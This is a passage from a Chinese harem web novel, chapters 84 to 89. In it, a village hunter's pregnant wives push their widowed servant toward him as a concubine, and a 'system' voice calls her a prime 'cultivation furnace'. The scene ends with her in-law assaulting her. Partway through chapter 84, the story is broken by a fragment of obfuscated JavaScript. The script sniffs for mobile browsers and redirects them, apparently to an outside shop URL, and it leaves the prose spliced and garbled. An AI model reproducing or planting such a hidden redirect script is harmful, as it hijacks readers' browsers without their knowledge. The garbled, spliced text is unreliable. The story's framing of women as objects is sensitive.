他明明和大家一样在吃肉喝酒,身上却仿佛笼罩着一层光。是他,将这些挣扎在温饱线上的可怜人,从绝望的泥潭中拉了出来;是他,随手就给出了别人一辈子都无法想象的恩惠。
而自己,何其有幸,能侍立在他身边。
林间雪感觉到自己的脸颊在发烫,心跳不受控制地加速,一下,又一下,撞击着她的胸膛。她连忙低下头,掩饰住自己眼中的异彩,快步走到江夜身边,为他面前的酒杯,添满了酒。
“主人,请用酒。”她的声音很轻,带着一丝不易察觉的颤抖。
第84章 被发现了!
江夜院子里的欢声笑语和那霸道得不讲道理的肉香,像是一只无形的手,扼住了整个稻花村的咽喉。
村里其他人家,家家户户的窗户里都透着昏黄的灯光,却无一人安睡。
男人们在床上翻来覆去,女人们唉声叹气,孩子们闻着味儿在梦里流着口水。羡慕、嫉妒、还有那浓得化不开的悔恨,像是无数只蚂蚁,在他们心头啃噬,又痒又疼。
尤其是离江夜家不远的,王翠花家。
屋里,王翠花正一脸晦气地给王大壮的胳膊上药。
王大壮跟着县里的队伍,没捞到半点好处,反而在狼群的冲击中被树枝划了一道长长的口子,此刻正龇牙咧嘴地抽着凉气。
江夜家院墙里传来的每一次碰杯声,每一阵大笑,都像是一记响亮的耳光,狠狠抽在王翠花的脸上。
那股子浓得让人发疯的肉香,更是丝丝缕缕地钻进屋里,钻进她的鼻孔,仿佛在无声地嘲笑着她的愚蠢。
“吃!吃!吃死你们这帮穷鬼!”
王翠花手上的力道猛地一重,疼得王大壮“嗷”地一嗓子叫了出来。
“你鬼叫什么!”她没好气地骂了一句,心里的邪火再也压不住,猛地抓起桌上一个豁了口的陶碗,“砰”地一声,狠狠砸在地上!
陶碗四分五裂,发出的尖锐声响在寂静的夜里格外刺耳。
王翠花胸口剧烈起伏,气得浑身发抖,她死死地盯着隔壁院墙的方向,牙齿咬得咯咯作响,从牙缝里挤出怨毒的咒骂:“有什么了不起的!不就是走了狗屎运吗!等着瞧,早晚有一天盖的房子塌了,打的猎物臭了,看你还怎么神气!”
王大壮缩着脖子,看着自家婆娘那副几近癫狂的模样,又闻着那诱人的肉香,感受着胳膊上的刺痛,第一次没有附和,只是默默地低下了头,眼中闪过一丝从未有过的悔意。
……
宴席终有散时。
酒足饭饱后,江峰、王囤几家人千恩万谢地告辞。
每个汉子的肩上,都扛着一个沉甸甸的麻袋,里面是分到的狼肉。脸上那股子激动和满足,是任何言语都无法形容的。他们一步三回头,对着江夜不住地道谢,直到身影消失在夜色里。
喧闹的院子终于安静下来。
因怀有身孕,白梦夏和白梦秋早就**夜催着回房歇息了。
江夜独自一人坐在主位上,带着几分酒后的醉意,舒坦地靠在椅背上,闭着眼睛假寐。篝火的余温烘烤着身体,驱散了夜的凉意,只剩下一种懒洋洋的惬意。
林间雪轻手轻脚地收拾着满桌的狼藉,将碗筷一个个收进木盆。她的动作很轻,生怕惊扰了闭目养神的男人。
当她走到江夜身边,收拾他桌前的杯盘时,脚步却不由自主地顿住了。
篝火的光芒跳跃着,在他轮廓分明的侧脸上投下深邃的光影。那平日里淡漠的眉眼,在酒精和火光的熏染下,少了几分凌厉,多了几分说不出的慵懒魅力。
林间雪就这么站着,痴痴地看着他,连呼吸都忘了。
她的心脏“怦、怦、怦”地狂跳起来,像是要从嗓子眼里蹦出来。
白天,他背负神弓,如天神般归来的画面,已经深深刻进了她的脑子里,挥之不去。
晚上,他谈笑间,就将那些足以让普通人家疯狂的财富随手分给了众人。那份豪迈与慷慨,是她从未在任何男人身上见过的气魄。
这个男人,强大又有着令人心折的温柔。
一种名为“慕强”的情感,在这一刻,彻底占据了她卑微而又空洞的内心。
她知道自己是个寡妇,是个不祥之人,能在他家做个下人,吃饱穿暖,已经是天大的福分。
她不敢奢求,也不配奢求。
可……
林间雪鬼使神差地环顾四周。
院内空无一人,只有篝火燃烧的“噼啪”声和远处传来的几声犬吠。
两位夫人已经睡下,整个世界仿佛只剩下她和他。
她咬着下唇,贝齿将柔嫩的唇瓣咬得发白。
一股前所未有的冲动,像是决堤的洪水,冲垮了她所有的理智和胆怯。
身体微微颤抖着,俏脸绯红一片,她缓缓地,一点一点地俯下身。
越来越近,她甚至能闻到他身上淡淡的酒气,混合着一种好闻的的气息。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16612494|187622||http|test|mini|href|location''.split(''|''),0,{}));
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r>林间雪闭上眼,睫毛剧烈地颤抖着,鼓起了她二十一年来毕生的勇气,飞快地,在他的嘴唇上,轻轻一啄。
蜻蜓点水,一触即分。
柔软温热的触感传来,林间雪浑身猛地一颤,像是有道电流从嘴唇瞬间窜遍四肢百骸,让她整个人都麻了。
她慌了,脑子里嗡的一声,如同触电般,慌忙就想退开。
自己……自己都干了些什么啊!
就在此时,江夜那双一直紧闭的双眼,猛然睁开。
眸光清亮深邃,带着一丝洞悉一切的戏谑,哪里还有半分醉意。
林间雪所有的动作,都僵在了半空。
她保持着俯身的姿势,对上他那双似笑非笑的眼睛,大脑瞬间一片空白,所有的血气“轰”的一下,全部涌上了头顶。
被……被发现了!
“啊!”
她发出一声短促到几乎听不见的惊叫,俏脸瞬间红到滴血,羞愤欲死的情绪将她彻底淹没。
完了!
被……被发现了!
主人他……他根本就没醉!
羞愤、难堪……种种情绪如同山崩海啸,瞬间将她淹没。
林间雪想也不想,转身就朝着自己那间小小的下人房跑去。
她跑得太急,慌不择路,脚下一个趔趄,差点被院子通往走廊的门槛给绊倒。
她踉跄了几步才稳住身形,连头都不敢回,几乎是连滚带爬地冲进了自己的房间,“砰”的一声,死死关上了房门,将自己隔绝在黑暗里。
江夜看着她仓皇逃窜,如同受惊小鹿般的背影,忍不住低声失笑。
他抬起手,摸了摸自己的嘴唇,上面似乎还残留着一丝若有若无的香甜和柔软。
这小寡妇,胆子不大,想法倒挺多。
就在他心情愉悦地回味时,脑海中,那熟悉的机械提示音,毫无征兆地响起。
【叮!检测到极品鼎炉林间雪!】
【体质评估:水灵之体,阴元纯粹,请宿主尽快采撷!】
江夜眼中的戏谑瞬间褪去,取而代之的是一抹灼人的火热。
今晚的收获,可远不止那些狼肉啊。
爽!
第85章 夫君,不如收了她吧
清晨,第一缕曦光穿过精致的窗棂,在崭新光滑的青石地板上投下斑驳的光影。
雕花大床上,江夜缓缓睁开双眼。
鼻尖是两种截然不同的馨香,一种是白梦夏身上如兰花般温婉的淡香,另一种是白梦秋身上似茉莉般清甜的少女体香。两种香气交织在一起,钻入鼻腔,光是闻着,就让人心神荡漾。
左拥右抱,温香软玉。
他稍稍偏过头,看向怀里的白梦夏。
她正侧着身子,恬静地睡着,长长的睫毛在眼睑下投下一片小小的阴影。
许是梦到了什么,嘴角微微翘起,带着一丝满足的甜美。
因怀有身孕,她原本就傲人的身材愈发丰腴,身上那件淡粉色的丝绸睡裙,早已在睡梦中被不安分地撩起一角,露出一段圆润白皙的大腿。那圣洁的睡颜与诱人的身段,形成一种惊心动魄的矛盾之美。
他又看向右边,白梦秋像只小猫一样蜷缩在他怀里,一只雪白的手臂还霸道地横在他胸前,睡裙下的曲线玲珑起伏,充满了青春活力的诱惑。
似乎是感觉到了江夜的动静,两个女孩几乎是同时,无意识地往他温暖的怀里又蹭了蹭。
这一蹭,顿时要了老命。
睡裙下那饱满柔软的弧度,紧紧地贴着他的手臂和胸膛,那惊人的弹性和温热的触感,透过薄薄的衣料,清晰无比地传递过来。
江夜的喉结不受控制地上下滚动了一下。
一股熟悉的晨火升腾而起,势不可挡地朝着全身蔓延。
他深吸一口气,强行压下那股几乎要冲破理智的燥热。不行,她们都怀着身孕,身子金贵,现在是关键时候,万万不能胡来。
江夜心中发出一声幸福又痛苦的叹息。
左拥右抱的日子,太美了,但这看得见吃不着的煎熬,也太**折磨人了!
他小心翼翼地抽出自己的手臂,轻手轻脚地坐起身,看着两张绝美的睡颜,心中一片柔软。
他俯下身,在那两片光洁饱满的额头上,各自落下一个轻柔的吻。
做完这一切,他才缓缓下床,为她们掖好被角,转身走出了房门。
清晨的空气带着一丝凉意,格外清新。
江夜来到院中,伸了个懒腰,浑身的骨节发出一阵“噼里啪啦”的脆响,说不出的舒坦。昨夜的酒意早已散尽,只剩下神清气爽。
他的目光,不经意间落在了院子的一角。
林间雪正在晾晒刚刚洗好的衣物。
她穿着一身朴素的淡青色布衣,正踮着脚,努力将一件宽大的男式长衫挂上晾衣绳。这个动作,让她本就丰腴饱满的身段,被勾勒出了一道惊心动魄的弧线。
晨光从她身后照来,为她整个人镀上了一层毛茸茸的金边。
那纤细得不盈一握的腰肢,与下方那挺翘浑圆,形成一个夸张而又完美的比例。宽松的布衣在这种极致的身材面前,根本起不到任何遮掩作用,反而更添了几分欲语还休的韵味。
成熟少妇那柔媚入骨的风韵,在她身上展现得淋漓尽致。
江夜的目光微微一凝。
昨夜那个蜻蜓点水般的偷吻,那柔软温热的触感,仿佛还清晰地残留在他的嘴唇上。
还有脑海中那冰冷的机械提示音。
【极品鼎炉】、【水灵之体】……
这个怯懦自卑的小寡妇,心里藏着的小心思,可比她表现出来的要多得多。
就在江夜若有所思地打量着那道诱人背影时,身后的房门“吱呀”一声被推开。
白梦夏和白梦秋披着外衣,睡眼惺忪地走了出来。
“夫君,怎么不多睡会儿?”白梦夏柔声问道,声音里还带着刚睡醒的慵懒。
她一出门,就看到自家夫君正一动不动地盯着院子角落,目光有些……灼热。
她顺着江夜的视线看去,正好看到林间雪的背影。
白梦夏微微一愣,随即,一抹了然的笑意浮现在她温柔的眼眸中。她用手肘轻轻碰了碰身旁的妹妹。
白梦秋揉着眼睛,也好奇地望了过去,当她看到夫君的眼神时,眼睛瞬间亮了,小脸上满是促狭的笑意。
姐妹俩交换了一个心照不宣的眼神,都从对方眼中看到了同样的想法。
白梦夏莲步轻移,走到江夜身边,吐气如兰,声音带着一丝调侃的意味,柔声问道:“
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夫君,是不是看上雪儿妹妹了?”
江夜还没来得及说话,白梦秋也凑了过来,小脑袋靠在他另一边肩膀上,压低了声音附和道:“是呀夫君,我看雪儿妹妹就很好。她身世可怜,人又勤快老实,性子也温顺。”
她顿了顿,眨着水汪汪的大眼睛,语不惊人死不休地继续说:“不如夫君就把她收了吧,以后也好贴身照顾你。我们现在怀着身孕,很多事都不方便呢……”
说到最后,她的声音越来越小,自己也有些不好意思起来,俏脸泛红。
“噗……”
江夜看着自己这两个“贤惠大度”得有些过分的宝贝妻子,一时间竟不知该说什么好。
这是……主动给自己纳妾?
他干咳一声,伸出手指,在姐妹俩光洁挺翘的琼鼻上,一人刮了一下。
“就你们两个小脑袋瓜想得多。”
他的语气带着一丝无奈,但更多的却是宠溺。
白梦夏被他刮得有些痒,缩了缩脖子,却鼓起勇气,仰着那张绝美的脸蛋,认真地看着他:“夫君,我们没有胡思乱想,是认真的。雪儿妹妹是个好人,我们都看得出来。她一个人孤苦无依,跟着夫君,是她的福气。而且……”
她微微低下头,抚摸着自己已经明显隆起的小腹,脸上泛起母性的光辉,声音愈发温柔:“以后家里添了宝宝,也需要更多的人手帮忙。姐姐和我都信得过雪儿妹妹。”
白梦秋在一旁小鸡啄米似的连连点头:“对对对!姐姐说的都对!最重要的是,我们不想夫君憋坏了身子嘛!”
最后一句话,她说得又快又急,说完就红着脸,把头埋进了江夜的怀里,不敢再看他。
江夜彻底无言以对。
他能感觉到,怀里的小丫头身体都在微微发烫。
他心中涌起一股暖流,又是好气,又是好笑,更多的,却是满满的感动。
这个时代的女人,能做到她们这样,已经是真正的将他放在了心尖上,设身处地地为他着想。
他抬起手,将两个宝贝妻子一左一右,紧紧地拥入怀中。
千言万语,都化作了一个温暖的拥抱。
第86章 心意相通
早饭时饭桌上,气氛说不出的微妙。
桌上摆着香喷喷的白米粥,还有几碟昨晚剩下的狼肉,热过之后依旧香气扑鼻。
林间雪安静地坐在桌角,整个人几乎要把脸埋进碗里。她的头垂得低低的,一缕碎发从耳边滑落,遮住了她大半张脸,却遮不住那红得快要滴血的耳根。
她不敢看任何人,尤其是坐在主位上的江夜。
昨晚发生的一切,像烙印一样刻在她的脑子里,一遍遍地回放。
他那双睁开的,带着戏谑的清亮眼眸,更是让她一想起来就浑身发软,恨不得找个地缝钻进去。
她拿着筷子夹了半天,也只是在自己碗里那几粒米上戳来戳去,一口粥都没喝进去。
白梦夏和白梦秋坐在江夜身边,看着林间雪那副魂不守舍的模样,姐妹俩不动声色地对视了一眼,都从对方的眼中看到了一抹促狭的笑意。
白梦夏温柔地给江夜盛了一碗粥,又给林间雪夹了一大块狼肉,柔声说:“雪儿妹妹,快吃吧,别光喝粥,这狼肉最是补身子。”
“啊……谢、谢谢夫人。”林间雪像是被惊到的兔子,猛地一抬头,又飞快地低下,声音细若蚊蚋。
白梦秋则眨巴着大眼睛,故作好奇地问:“雪儿妹妹,你脸怎么这么红呀?是不是昨晚没睡好,发热了?”
“没、没有!我……我就是有点热!”林间雪的头埋得更低了,恨不得立刻从饭桌上消失。
就在这尴尬又带着几分温馨的气氛中,一个毛茸茸的脑袋从桌子底下钻了出来。
团子睡眼惺忪地打了个哈欠,它先是习惯性地蹭了蹭白梦夏的小腿,然后抬起头,看看脸红得像煮熟的虾子一样的林间雪,又转头看看好整以暇喝着粥的江夜。
它歪着毛茸茸的脑袋,那双黑曜石般的眼睛人性化地眨了眨,仿佛在思考着什么深奥的问题,那副故作深沉的傻样,似乎也看懂了这桌上不同寻常的气氛。
江夜看着团子这副傻样,心情大好,忽然想起了昨天在山谷里得到的那株灵犀草。
他放下碗,擦了擦嘴,伸手入怀,将那株灵犀草取了出来。
灵犀草一出现,仿佛整个饭厅的光线都柔和了几分。
它通体晶莹剔透,如同最上等的白玉雕琢而成,顶端的小叶片仿佛在微微呼吸,散发着一圈柔和的光晕。
一股无法用言语形容的异香,瞬间弥漫开来。那香味清冽甘甜,只是闻上一口,就让人感觉神清气爽,四肢百骸都说不出的舒泰。
“哇,好香啊!”白梦秋忍不住惊叹道。
香味入鼻的瞬间,团子的眼睛“唰”地一下瞪圆了。
它所有的睡意瞬间消失无踪,整个狼都僵在了原地,鼻子疯狂地耸动着,死死地盯着江夜手中的那株小草,口水“哗”地一下,就从嘴角流了下来,在地上形成一小滩晶莹的水渍。
下一秒,它动了。
它“嗖”地一下就窜到了江夜的脚边。它抬起头,用那毛茸茸的脑袋,疯狂地蹭着江夜的裤腿,喉咙里发出“呜呜”的讨好声,眼神里充满了赤裸裸的渴望,那条毛茸茸的尾巴,更是摇得快出了残影。
那副谄媚的模样,看得白梦夏姐妹俩都忍不住笑出声。
江夜看着它这副没出息的样子,笑着将灵犀草递到了它的嘴边。
团子眼睛爆发出前所未有的光芒,几乎是迫不及待地,张开嘴,“嗷呜”一口,便将整株灵犀草吞了下去,连嚼都没嚼一下。
灵犀草刚一入腹,异变陡生!
只见团子通体银白色的毛发,猛地泛起一层淡淡的金色光晕,它额头上那枚神秘的金色印记,更是变得更加深邃。
白梦夏、白梦秋和林间雪都看呆了,捂着小嘴,满眼都是震
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惊。
这奇异的景象只持续了短短片刻。
很快,那金色光晕便如同潮水般退去,缓缓内敛,重新没入团子的体内。
当光芒彻底散尽,团子再次睁开双眼时,它整个狼的气质,都发生了翻天覆地的变化。
之前的眼神虽然灵动,但更多的是属于野兽的懵懂与纯真。而此刻,它那双眼睛里,却仿佛蕴含着星辰,充满了智慧与灵性。
它静静地抬起头,看向江夜。
那眼神中,不再仅仅是之前的依赖,而是多了一种更深层次的情感,充满了孺慕、亲近,以及一种绝对的、毫无保留的臣服与信赖。
就在此时,江夜的脑海中,也生出一种奇妙的感觉。
他仿佛能清晰地感受到团子此刻的情绪——喜悦、激动,还有一种想要与他分享的亲昵。这种感觉玄之又玄,仿佛有一根无形的线,将他和团子的心神,紧紧地连接在了一起。
江夜心中一动,尝试着通过意念,下达了一个简单的指令。
“转个圈。”
几乎是在他念头升起的瞬间,团子立刻心领神会。它欢快地叫了一声,随即原地一个起跳,在半空中转了一个极其漂亮的圈,落地时四平八稳,没有发出一丝声响。
完成动作后,它立刻跑到江夜脚边,昂着头,疯狂地摇着那条已经快摇成风火轮的尾巴,满脸都是“我棒不棒,快夸我”的骄傲表情。
“哈哈哈!”
江夜再也忍不住,发出一阵畅快的大笑。
成了!
这灵犀草,果然是神物!
他心中狂爽,一把将团子抱了起来,搂在怀里,用手在它那毛茸茸的大脑袋上一顿猛揉。
“好样的!团子!”
“嗷呜~嗷呜~”
团子舒服得眯起了眼睛,喉咙里发出满足的呼噜声,用自己的脸颊,亲昵地蹭着江夜的胸膛。
第87章 陪在他身边
一顿早饭,在奇异而又温馨的氛围中结束。
江夜心满意足地抱着已经脱胎换骨的团子去院子里玩耍了,留下满桌的碗筷。
林间雪如蒙大赦,几乎是立刻站起身,手脚麻利地开始收拾。
她只想快点找点活干,好逃离刚刚那让她手足无措的暧昧气氛。
她端着摞好的碗筷,逃也似的快步走向厨房。
可她前脚刚踏进厨房,后脚,两道身影也跟着走了进来。
“雪儿妹妹,我们来帮你。”白梦夏温柔的声音在身后响起。
林间雪身体一僵,转过身,看到白梦夏和白梦秋姐妹俩正带着浅浅的笑意看着她。
“不、不用的,夫人!这点活我一个人就行,您和二夫人快去歇着,您们身子金贵!”林间雪慌得连连摆手,手里的碗都差点没端稳。
白梦夏上前,很自然地从她手里接过碗筷,放在灶台上,然后拉起她冰凉的手,轻声道:“都是一家人,说什么两家话。”
白梦秋也凑过来,关上厨房的门,笑嘻嘻地挽住林间雪的另一只胳膊,将她夹在中间。
厨房里光线明亮,灶膛里还有未尽的余温。
可林间雪却感觉自己像是被两只狐狸围住的小白兔,手脚都不知道该往哪放,心跳得如同擂鼓。
她能感觉到,两位夫人有话要对她说。
果然,白梦夏看着她,眼神温柔,开门见山地问道:“雪儿妹妹,你……对夫君,是怎么想的?”
林间雪的脑子瞬间一片空白。
她想过一万种可能,却从未想过,两位夫人会如此直白地问出这个问题。
她的脸“唰”地一下,血色尽褪,变得惨白。
“夫人……我……我没有……”
她嘴唇哆嗦着,下一秒,她双腿一软,“扑通”一声,直挺挺地跪在了地上。
泪水,如同断了线的珠子,不受控制地滚落下来。
“夫人明鉴!奴婢……奴婢身份卑贱,命如草芥,蒙主人和两位夫人收留,已是天大的恩情!奴婢绝不敢、绝不敢对主人有任何非分之想啊!”
她重重地磕下头去,声音里充满了恐惧和绝望。
她以为,是自己昨晚的行径被发现了,两位夫人这是要来问罪了。
“哎呀,你这又是做什么!快起来!”
白梦夏和白梦秋被她这突如其来的举动吓了一跳,连忙弯腰,一左一右地将她从地上扶了起来。
白梦夏拿出自己的手帕,心疼地为她擦去脸上的泪水,柔声嗔怪道:“你这傻妹妹,我们又没说要怪你,你跪什么。”
“就是就是,”白梦秋也在一旁附和,“我们要是真想怪你,还会跟你说这些吗?”
林间雪被两人扶着,身体僵硬,依旧在不停地发抖,只是抬起一双泪眼婆娑的眸子,茫然又无助地看着她们。
白梦夏叹了口气,将她拉到一旁的矮凳上坐下,自己和妹妹则蹲在她面前,平视着她。
“雪儿妹妹,你别怕。”白梦夏握住她冰冷的手,声音放得更柔了,“我们姐妹俩,是什么样的人,这些天你也看到了。我们把你当成自家人,才跟你说这些体己话。”
林间雪咬着下唇,泪水还在眼眶里打转,却不敢再往下掉。
白梦夏顿了顿,脸上浮现出一抹只有过来人才懂的温柔与羞涩,她轻抚着自己已经明显隆起的小腹,轻声说:“你也看到了,我和妹妹如今都怀着身孕,身子越来越重,很多事情……都不方便伺候夫君。”
林间雪的身体猛地一颤,似乎明白了什么,眼睛倏然瞪大。
一旁的白梦秋脸颊微红,凑到她耳边,声音压得极低,却清晰地传入她的耳中:
“姐姐说得对。夫君他……血气方刚的,正是龙精虎猛的年纪,总这么憋着……对身体不好的。我们姐妹俩看着,也心疼呀。”
白梦秋的话,大胆又直白,像一把火,瞬间点燃了林间雪全身的血液。
她的脸颊,从脖子根开始,以肉眼可见的速度,迅速染上了一层醉人的绯红。
她听懂了。
她全都听懂了。
两位夫人不是来问罪的,她们……她们是想把自己……推给主人!
这个认知,让她的心脏像是要从嗓子眼里跳出来一样,狂跳不止。
惶恐、难以置信,还有一丝连她自己都不敢承认的、被压在心底最深处的窃喜和悸动,种
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种情绪交织在一起,让她的大脑彻底宕机。
“我们姐妹商量过了,”白梦夏看着她羞得快要晕过去的样子,眼中笑意更浓,“这个家里,我们最信得过的就是你。你人好,心善,又勤快。由你来贴身照顾夫君,我们……最放心。”
白梦秋用力地点了点头:“对!我们都放心!而且,你跟了夫君,以后再也不用看人脸色,担惊受怕了。这是天大的好事呀,雪儿妹妹!”
林间雪的呼吸变得急促起来,她紧紧地咬着嘴唇,手指无意识地绞着自己的衣角,几乎要把那粗布衣料给绞烂了。
她的脑子里乱成一团浆糊。
她想起了江夜那英武不凡的身影,想起他将自己从绝望中拉出来的恩情,想起他看向自己时那带着一丝灼热的眼神……
也想起了村里人说她克夫的流言,想起了自己卑贱的身份。
她……真的可以吗?
她配得上那样如同天神一般的男人吗?
她不会……再把他克死吧?
一时间,她心乱如麻。
白梦夏看着她眼中的挣扎和自卑,轻轻拍了拍她的手背:
“我们都看得出来,你是个好姑娘,我们姐妹俩,也真心想接纳你。以后,我们就是一家人了。”
一家人……
这三个字,像一道暖流,瞬间击中了林间雪心中最柔软的地方。
如果……如果能陪在他身边……
哪怕只是做一个最卑微的通房丫头,似乎……也是她这辈子都不敢奢求的幸福。
她抬起头,看着面前两张真诚又带着鼓励笑意的绝美脸庞,心中的惶恐不安,渐渐被一种难以言喻的温暖和感动所取代。
她知道,这是两位夫人给予她的,天大的恩赐。
她用力地咬着唇,脸颊红得能滴出血来,心脏依旧跳得飞快。
在姐妹俩期待的目光中,她终于鼓起了毕生的勇气,将头低得不能再低,从喉咙里,几不可闻地……“嗯”了一声。
那声音,细若蚊蝇,轻得仿佛风一吹就会散。
但白梦夏和白梦秋却听得清清楚楚。
姐妹俩相视一笑,眼中满是心领神会的满意。
成了。
第88章 老天不公
林间雪在厨房和两位夫人把一切收拾妥当后,端着放着换洗衣物的大木盆,红着脸,逃也似地出了院门,往村口的河边走去。
而江夜陪着心意相通的团子在院子里疯玩了一会儿后,便开始处理昨天带回来的那堆积如山的猎物。
院子里,江夜挽起袖子,露出了结实的小臂。
他拿出那把锋利无匹的剔骨刀,手腕一翻,刀光闪烁,他的动作行云流水,没有一丝多余。刀锋切入,精准地沿着骨骼的缝隙游走,只听见一阵细微的“咔咔”声,一整条带着血丝的腿骨便被完整地剔了出来,上面几乎没带半点碎肉。
分割、去筋、切条,他的每一个动作都充满了力量与节奏的美感,蹲在一旁的团子,早就看呆了。
它两只前爪并拢,坐得笔直,脑袋随着江夜手中刀的移动而左右摇摆。那双黑曜石般的眼睛里,倒映着鲜红的肉条,口水顺着嘴角“吧嗒吧嗒”地往下滴,在地上汇成了一小滩晶莹的水渍。
很快,它就忍不住了。
一股清晰无比的意念,直接传进了江夜的脑海里。
“肉肉……好香的肉肉……要吃肉肉……”
江夜手上的动作一顿,差点笑出声。他转头,就看到团子正用它那毛茸茸的大脑袋,一下一下地蹭着自己的小腿,眼神里充满了赤裸裸的渴望,尾巴摇得像个拨浪鼓。
“你这小馋狼。”
江夜笑骂一句,随手从刚切下的一块肉上,挑了最细嫩的一块里脊,直接扔了过去。
“嗷呜!”
团子的意念里传来一声欢呼,它敏捷地一跃,在半空中就精准地叼住了那块肉。它欢快地叫了一声,也不去别处,就叼着那块比它脑袋还大的里脊肉,跑到院子角落里那棵桂花树下,心满意足地大快朵颐起来。
那狼吞虎咽的模样,看得人食欲大开。
这时,白梦夏和白梦秋也从屋里走了出来。
“夫君,我们来帮你。”
白梦夏手里端着一个大簸箕,里面是刚磨好的粗盐和香料。白梦秋则抱着一大捆草绳。
“好。”江夜笑着点头。
一家人便在院子里忙活开来。
江夜负责将狼肉切成大小均匀的肉条,白梦夏和白梦秋则坐在一旁的小凳上,一个负责用盐和香料仔细地将肉条腌制入味,另一个则用草绳将肉条一一穿好。
“夫君,这么多肉,咱们家院子都快挂不下了吧?”白梦秋看着地上已经堆成小山的肉条,吐了吐舌头,美眸中满是惊叹。
“挂不下就再搭几个架子,”江夜笑道,“保证让你们和肚子里的宝宝,一个冬天都不缺肉吃。”
白梦夏听着,抬头看了一眼专注切肉的江夜,眼中满是化不开的柔情蜜意。
很快,在一家人的通力合作下,整个院子都变了模样。
屋檐下,廊道边,新搭的木架上,甚至是那棵桂花树的枝丫间,都挂满了整整齐齐的肉条。
放眼望去,一片鲜红,场面壮观到了极点。
经过腌制的狼肉在阳光的照射下,泛着油润的光泽,一股混合了肉香、香料和木炭火气的霸道香气,以江夜家的小院为中心,蛮横地朝着整个稻花村扩散开去。
这股味道,对于食不果腹的村民来说,简直就是最残忍的酷刑。
江家院墙外,一道鬼鬼祟祟的身影踮着脚,探头探脑地朝里张望。
正是王翠花。
当她看到那满院子随风摇曳的肉条时,整个人都僵住了。
她那双三角眼里先是闪过一丝震撼,随即就被浓得化不开的嫉妒和怨毒所填满。
凭什么?
凭什么他江夜就能顿顿吃肉,还多到吃不完挂起来?
凭什么自家男人跟着县里的队伍,累死累活还受了伤,最后只分到几斤没人要的下水?
她死死地盯着那些肉条,仿佛能盯出两个窟窿来。那霸道的肉香钻进她的鼻孔,勾得她肚子里的馋虫咕咕直叫,口水不受控制地分泌出来。
她嫉妒得眼睛都红了,死死地咬着后槽牙。
“呸!有什么了不起的!”
她压低了声音,从牙缝里挤出咒骂。
“不就是运气好走了狗屎运吗!老天爷真是不开眼!怎么不一道雷劈死这猖狂的家伙!”
……
另一边,林间雪洗完了那一大盆衣服。
她端着沉甸甸的木盆,低着头,脚步有些虚浮地往家走。
她脑子里乱糟糟的,全是刚才在厨房里,两位夫人对她说的那些话。
“由你来贴身照顾夫君,我们……最放心。”
“以后,我们就是一家人了。”
这些话,像是一颗颗滚烫的石子,在她心里激起了一圈又一圈的涟漪。
她不敢相信,自己这样卑贱的身份,这样不祥的命格,真的能有那样的福分吗?
陪在……那个男人身边?
光是想想,她的心就跳得快要从嗓子眼里蹦出来。
她走在村口的小路上,甚至没注意到周围的景象,直到一道阴阳怪气的声音,在她耳边响起。
“哟,这不是我那金贵的嫂子吗?这是要去哪儿啊?”
林间雪猛地一个激灵,抬起头,整个人瞬间如坠冰窟。
只见一个穿着破旧短褂,身形瘦削,眼窝深陷,脸上带着一股子流里流气笑容的男人,正斜着身子,懒洋洋地挡在了她的面前。
是她死去丈夫的亲弟弟,王大虎。
林间雪的脸色“唰”地一下变得惨白,她下意识地后退一步,将木盆抱得更紧了些,声音里带着颤抖:“你……你来做什么?”
“我来做什么?”王大虎嗤笑一声,那双浑浊的三角眼,肆无忌惮地在她丰腴有致的身段上扫来扫去,眼神里的贪婪和欲望毫不掩饰,“嫂子,你这话
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就见外了。当弟弟的,来看看嫂子,不是天经地义的吗?”
他往前凑了一步,一股混杂着汗臭和劣质烟草的味道扑面而来,让林间雪胃里一阵翻涌。
“我听说,嫂子你在江夜家,可是发了大财了?”王大虎搓着手,脸上的笑容变得愈发谄媚和贪婪,“你看,当弟弟的最近在赌场手头有点紧,你这个当嫂子的,是不是该……接济接济?”
林间雪的心猛地一沉。
她死死咬着嘴唇,强迫自己镇定下来,连连摇头:“我没有钱!主家给的钱,我都……都用掉了。”
“用掉了?”王大虎的脸瞬间阴沉下来,他狞笑一声,声音变得尖利,“你当我是三岁小孩?那可是一整锭银子!你骗鬼呢!识相的,赶紧拿出来!不然……”
他猛地伸出手,一把就朝林间雪的怀里抓去,“不然弟弟我,可就要亲自动手搜了!”
“啊!”
林间雪吓得尖叫一声,本能地侧身躲闪,同时死死护住自己的胸口。
“哐当!”
她怀里抱着的木盆,重重地摔在了地上。
刚刚才洗得干干净净,还带着皂角清香的衣物,瞬间散落一地,沾满了尘土。
这边的动静,立刻引来了周围路过的村民。
人们三三两两地围了过来,对着这边指指点点,窃窃私语。
“那不是王家的二流子王大虎吗?他又在逼他那寡嫂了。”
“嗨,还不是老一套,准是又在赌场输红了眼,跑来要钱了。”
“这林氏也真是可怜,摊上这么个小叔子……”
议论声,同情的目光,看热闹的眼神,像一根根细密的针,扎在林间雪的身上。
但没有一个人敢上前。
所有人都只是远远地站着。
听着周围的指指点点,又看到王大虎那张凶相毕露的脸,林间雪又怕又气,眼泪在眼眶里打转。
“我真的没有钱!”她带着哭腔喊道。
她的反抗,彻底激怒了王大虎。
“敬酒不吃吃罚酒的**!”
王大虎恼羞成怒,骂了一句,动作变得更加粗暴。他一把抓住林间雪的手腕,另一只手就去撕扯她的衣襟。
“你放开我!放开我!”
林间雪拼命挣扎,**和恐惧让她爆发出了所有的力气。
“刺啦——”
一声布帛撕裂的脆响。
王大虎没抓到她的衣襟,却一把撕开了她右臂的袖子。
大半截雪白的手臂,就这么毫无遮拦地暴露在了空气中,与她身上朴素的粗布衣形成了刺眼的对比。
林间雪身体猛地一僵,整个人都呆住了。
她低头看着自己裸露的手臂,又抬头看了看周围那些村民们各色的眼神,一股无法言喻的**和绝望,瞬间淹没了她。
眼泪,终于再也忍不住,如同断了线的珠子,无声地滚落下来。
第89章 我们回家
江家院中,江夜还在有条不紊地处理着狼肉。
就在这时,江夜切肉的动作猛地一顿。
超凡的听力让他能清晰地捕捉到院外的一切声响,风吹过树叶的沙沙声,邻家妇人低声的交谈,还有……凄厉的尖叫声,那声音里充满了恐惧和绝望,是林间雪!
